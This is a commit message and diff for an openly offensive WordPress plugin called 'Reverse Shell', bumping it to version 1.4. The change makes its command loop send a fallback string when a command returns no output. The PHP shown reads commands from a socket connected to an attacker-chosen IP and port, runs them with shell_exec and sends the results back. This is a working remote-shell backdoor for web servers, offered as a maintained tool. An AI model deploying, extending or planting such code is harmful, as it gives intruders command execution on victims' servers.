Fix: Handle null or empty command output in reverse shell connection

## Changes in this Commit

### Fix: Handle null or empty command output in reverse shell connection

In this update, the reverse shell connection was enhanced to handle cases where the shell command produces null or empty output. Previously, this could have led to connection instability or crashes. The following changes were made:

- **Null or Empty Output Handling**: If the shell command does not return any output, a fallback message is now sent to the socket, preventing any connection issues.
  ```php
  $output = shell_exec($cmd);
  fwrite($sock, $output ?: 'No output from command.');
```

Author: 4m3rr0r

reverse-shell.php

@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Reverse Shell
  * Description: A plugin that provides reverse shell functionality with a hacker-style GUI for configuration.
- * Version: 1.3
+ * Version: 1.4
  * Author: 4m3rr0r
  */
 
@@ -123,7 +123,7 @@ function reverse_shell_connect($ip, $port) {
         while (!feof($sock)) {
             $cmd = fread($sock, 2048);
             $output = shell_exec($cmd);
-            fwrite($sock, $output);
+            fwrite($sock, $output ?: 'No output from command.');
         }
         fclose($sock);
     }